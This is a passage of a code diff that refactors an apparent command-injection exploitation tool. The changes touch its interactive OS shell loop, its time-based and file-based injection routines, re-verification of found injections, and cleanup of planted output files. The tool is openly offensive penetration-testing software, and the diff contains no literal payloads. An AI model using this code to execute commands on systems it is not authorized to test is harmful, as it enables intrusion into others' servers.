info_msg = "Selected (default) mode: 'os_shell'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() try: - # Let safe_input() print the prompt so readline can redraw it correctly. cmd = common.safe_input(settings.OS_SHELL) if len(cmd) == 0: - cmd = "os_shell" + cmd = "use os_shell" cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() in settings.SHELL_OPTIONS or cmd.lower().split(" ", 1)[0] == "use": if cmd.lower() == "quit" or cmd.lower() == "exit": - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - checks.quit(filename, url, _ = False) - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) + cleanup() + go_back, go_back_again = shell_options.check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: - time.sleep(timesec) - _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - _resuming = _stored_shell is not None and _stored_shell.startswith(settings.PARTIAL_VALUE_MARKER) - if menu.options.ignore_session or _stored_shell is None or _resuming: - # The main command injection exploitation. - if settings.TIME_RELATED_ATTACK: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Export injection result - checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) - # Command execution results. - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - if not menu.options.ignore_session: - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = _stored_shell + # execute_cmd() itself is responsible for logging the executed command. + shell = execute_cmd(cmd) if shell: settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -152,50 +188,72 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, continue elif gotshell in settings.CHOICE_NO: - # Handle the parameter-wide decision before the technique-specific one. - if checks.skip_testing(filename, url, announce=vuln_message + " "): - checks.keep_testing_others(filename, url) - proceed = False - else: - proceed = checks.next_attack_vector(technique, go_back) - if proceed: - break - else: - if no_result: - return False - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - return True + # One combined question at the end, not per-technique. + if no_result: + return False + on_found_declined() + return True elif gotshell in settings.CHOICE_QUIT: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - checks.quit(filename, url, _ = False) + cleanup() + checks.quit(filename, url, hard_exit=False) else: common.invalid_option(gotshell) pass except KeyboardInterrupt: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + cleanup() checks.handle_exploitation_interrupt(filename, url) # Continue chosen - re-enter the shell fresh. - return pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) + return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, on_found_declined=on_found_declined, separator=separator) except SystemExit: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + cleanup() settings.print_data_to_stdout(settings.END_LINE.CR) raise except EOFError: checks.EOFError_err_msg() - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + cleanup() settings.print_data_to_stdout(settings.END_LINE.CR) # Return False to stop searching after this combination was already reported. return True +def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): + def cleanup(): + if menu.options.os_shell and (technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + # Registered here, actually asked/run later at quit(). + settings.PENDING_FILE_CLEANUPS[OUTPUT_TEXTFILE] = lambda: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + + def execute_cmd(cmd): + time.sleep(timesec) + _stored_shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if menu.options.ignore_session or not checks.usable_stored_cmd(_stored_shell): + # The main command injection exploitation. + if settings.TIME_RELATED_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + # Export injection result + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + # Command execution results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + if shell and not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = _stored_shell + return shell + + return pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, cleanup, separator=separator) + """ Retry value-skip using the confirmed exploit's own delay signal. """ @@ -221,14 +279,15 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me original_data = menu.options.data original_url = url original_value = settings.TESTABLE_VALUE - # settings.TESTABLE_VALUE and the raw data/url must change together, or the value gets duplicated. if in_data: menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) else: url = url.replace(marker, placeholder + settings.INJECT_TAG) settings.TESTABLE_VALUE = placeholder + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Replaying the delay against the random value '" + placeholder + "', to check if the real one is needed." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - # perform_injection() applies prefix/suffix itself - don't pre-apply them here. before = settings.TOTAL_OF_REQUESTS exec_time, _, _, _, _ = requests.perform_injection("", "", whitespace, payload, vuln_parameter, http_request_method, url) succeeded = not stability.request_was_retried(before) and checks.time_related_shell(url_time_response, exec_time, timesec) @@ -242,7 +301,6 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me settings.TESTABLE_VALUE_OPTIMIZED = True session_handler.import_testable_value_status(url, vuln_parameter, http_request_method, placeholder) - # Don't reset settings.RESPONSE_TIMES - MIN_SAFE_TIMESEC already floors timesec, and resetting forces a slow, silent re-warm-up. if settings.VERBOSITY_LEVEL != 0: debug_msg = "The real parameter value isn't required. Skipping it for faster requests." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -250,11 +308,10 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me return url, "" """ -The main Time-related exploitation proccess. +The main Time-related exploitation process. """ -def do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): +def do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - # Don't ask if we're just re-verifying a resumed technique. resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored: msg = "Multi-threading is considered unsafe for time-related data retrieval. " @@ -263,11 +320,9 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti counter = 1 num_of_chars = 1 - vp_flag = True no_result = True possibly_vulnerable = False false_positive_warning = False - export_injection_info = False exec_time = 0 timesec = checks.time_related_timesec() @@ -290,24 +345,23 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: - # Re-check tamper compatibility now that the technique and target OS are known, before its title is shown. - checks.tamper_scripts(stored_tamper_scripts=True) - # Skip redundant progress output when the fallback already announced the technique. - if settings.SKIP_NEXT_TECHNIQUE_TITLE == technique: - settings.SKIP_NEXT_TECHNIQUE_TITLE = None - else: - checks.testing_technique_title(injection_type, technique) + _announce_technique(injection_type, technique) prefixes = settings.PREFIXES suffixes = settings.SUFFIXES separators = settings.SEPARATORS + whitespaces = settings.WHITESPACES + + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) i = 0 - total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: + total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in whitespaces: + for prefix in prefixes: + bare_prefix = prefix + for suffix in suffixes: + bare_suffix = suffix + for separator in separators: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -327,7 +381,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) - cmd = shell = "" + cmd = shell = output = "" checks.check_for_stored_tamper(payload) # Trust the stored session outright. @@ -351,6 +405,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # The output file for file-based injection technique. interpreter = menu.options.interpreter tag_length = len(TAG) + 4 + OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) for output_length in range(1, int(tag_length)): @@ -366,28 +421,21 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) else: payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - + + if not payload: + break + vuln_parameter = "" exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) # Statistical analysis in time responses. exec_time_statistic.append(exec_time) - # Injection percentage calculation - percent, float_percent = checks.percentage_calculation(num_of_chars, total) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: + if not (num_of_chars >= total and no_result == True): if checks.time_related_shell(url_time_response, exec_time, timesec): # Time related false positive fixation. false_positive_fixation = False if len(TAG) == output_length: - # Simple statical analysis. Uses a tolerance, not exact equality - - # real (float) response times essentially never match bit-for-bit. statistical_anomaly = True first_few = exec_time_statistic[0:5] if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): @@ -404,9 +452,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if false_positive_warning: timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) # Check if false positive fixation is True. if false_positive_fixation: @@ -444,30 +490,22 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True exec_time_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" else: break # False positive else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) continue else: # Feed the baseline model even during detection, not just later phases. checks.record_baseline_response_time(exec_time) - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) continue except KeyboardInterrupt: if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - # Always raises - propagates out to controller.injection_proccess(). + # Always raises - propagates out to controller.injection_process(). checks.handle_detection_interrupt(filename, url) except SystemExit: @@ -482,20 +520,11 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti raise except Exception: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": + if num_of_chars >= total: if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - checks.injection_process(injection_type, technique, percent) - else: - percent = "" + checks.injection_process(injection_type, technique, done=True) else: - percent = ".. (" + str(float_percent) + "%)" settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - percent = ".. (" + str(float_percent) + "%)" break if possibly_vulnerable: @@ -509,24 +538,27 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # Export session if not resumed: shell = "" - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] + if not resumed: + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) - # Check for any enumeration options. - enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Check for any system file access options. - file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Check if defined single cmd. + # Registered here, run once at quit(). + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) if menu.options.os_cmd: - cmd = menu.options.os_cmd - enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Export injection result - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + _register_post_detection_action(_run_os_cmd) # Pseudo-Terminal shell if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: continue @@ -536,16 +568,14 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti return exit_handler(no_result) """ -The main results based exploitation proccess. +The main results based exploitation process. """ -def do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique): +def do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique): shell = False counter = 1 - vp_flag = True exit_loops = False no_result = True - export_injection_info = False if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: @@ -577,23 +607,23 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec separators = settings.SEPARATORS if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: - # Re-check tamper compatibility now that the technique and target OS are known, before its title is shown. - checks.tamper_scripts(stored_tamper_scripts=True) - # Skip redundant progress output when the fallback already announced the technique. - if settings.SKIP_NEXT_TECHNIQUE_TITLE == technique: - settings.SKIP_NEXT_TECHNIQUE_TITLE = None - else: - checks.testing_technique_title(injection_type, technique) + _announce_technique(injection_type, technique) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + whitespaces = settings.WHITESPACES + + prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 - total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) - for whitespace in settings.WHITESPACES: + total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in whitespaces: for prefix in prefixes: + bare_prefix = prefix for suffix in suffixes: + bare_suffix = suffix for separator in separators: if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) @@ -669,10 +699,8 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Evaluate test results. time.sleep(timesec) shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload) - if settings.VERBOSITY_LEVEL == 0: - percent, float_percent = checks.percentage_calculation(i, total) - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) + done = bool(shell) or (no_result and i >= total) + checks.injection_process(injection_type, technique, done=done, i=i, total=total) else: try: time.sleep(timesec) @@ -686,13 +714,11 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if len(shell) == 0 : raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) else: - if shell[0] == TAG and settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - checks.injection_process(injection_type, technique, percent) + if shell[0] == TAG: + checks.injection_process(injection_type, technique, done=True) except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent, float_percent = checks.percentage_calculation(i, total) if settings.CALL_TMP_BASED == True: exit_loops = True dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/")) @@ -703,13 +729,15 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): if i == total: - if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): continue else: raise - checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response) + # Truthy means the tempfile-based fallback already handled it - stop here. + if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + return True else: - if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): continue else: raise @@ -717,12 +745,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "You need authorization to access this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - checks.quit(filename, url, _ = False) + checks.quit(filename, url, hard_exit=False) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You do not have access to this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - checks.quit(filename, url, _ = False) + checks.quit(filename, url, hard_exit=False) except KeyboardInterrupt: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: @@ -731,7 +759,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Always raises; let injection_proccess() handle the skip/end/next/quit action. + # Always raises; let injection_process() handle the skip/end/next/quit action. checks.handle_detection_interrupt(filename, url) except SystemExit: @@ -769,27 +797,86 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Yaw, got shellz! # Do some magic tricks! + if shell and not resumed: + # Re-verify with a fresh marker/pair each round. + checks.check_for_false_positive_result(False) + verified = True + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and settings.TARGET_OS != settings.OS.WINDOWS: + # One write + one fetch for all rounds, not a cycle per round. + verify_tags = [''.join(random.choice(string.ascii_uppercase) for _ in range(6)) for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS)] + if interpreter: + verify_payload = payloads.decision_combined_alter_interpreter(separator, verify_tags, OUTPUT_TEXTFILE) + else: + verify_payload = payloads.decision_combined(separator, verify_tags, OUTPUT_TEXTFILE) + requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + time.sleep(timesec) + verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + verify_response = checks.get_response(verify_output) + verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + # Tags must appear in order - rules out a stale/cached file. + verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None + else: + for _verify_round in range(settings.RESULTS_BASED_VERIFY_ROUNDS): + verify_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if interpreter: + verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, OUTPUT_TEXTFILE) + else: + verify_payload = payloads.decision(separator, verify_tag, OUTPUT_TEXTFILE) + requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + time.sleep(timesec) + verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + verify_response = checks.get_response(verify_output) + verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) + verified = bool(verify_shell) and verify_shell[0] == verify_tag + else: + verify_randv1 = random.randrange(100) + verify_randv2 = random.randrange(100) + verify_randvcalc = verify_randv1 + verify_randv2 + if interpreter: + verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, verify_randv1, verify_randv2) + else: + verify_payload = payloads.decision(separator, verify_tag, verify_randv1, verify_randv2) + verify_response, _, verify_payload, _, _ = requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + if settings.URL_RELOAD: + verify_response = requests.url_reload(url, timesec) + time.sleep(timesec) + verified = bool(injector.injection_test_results(verify_response, verify_tag, verify_randvcalc, technique, verify_payload)) + if not verified: + break + if not verified: + checks.unexploitable_point() + shell = False + elif settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + settings.close_progress_line() if shell: found = True no_result = False # Export session if not resumed: - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] + if not resumed: + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) cmd = maxlen = "" if not 'url_time_response' in locals(): url_time_response = "" if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: OUTPUT_TEXTFILE = "" - # Check for any enumeration options. - enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Check for any system file access options. - file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - # Check if defined single cmd. + # Registered here, run once at quit(). + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) if menu.options.os_cmd: - enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + _register_post_detection_action(_run_os_cmd) # Pseudo-Terminal shell if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: continue diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index cd55864c22..265726acf2 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -15,12 +15,9 @@ import re import os -import sys import time -import json import string import random -import statistics import threading try: import concurrent.futures @@ 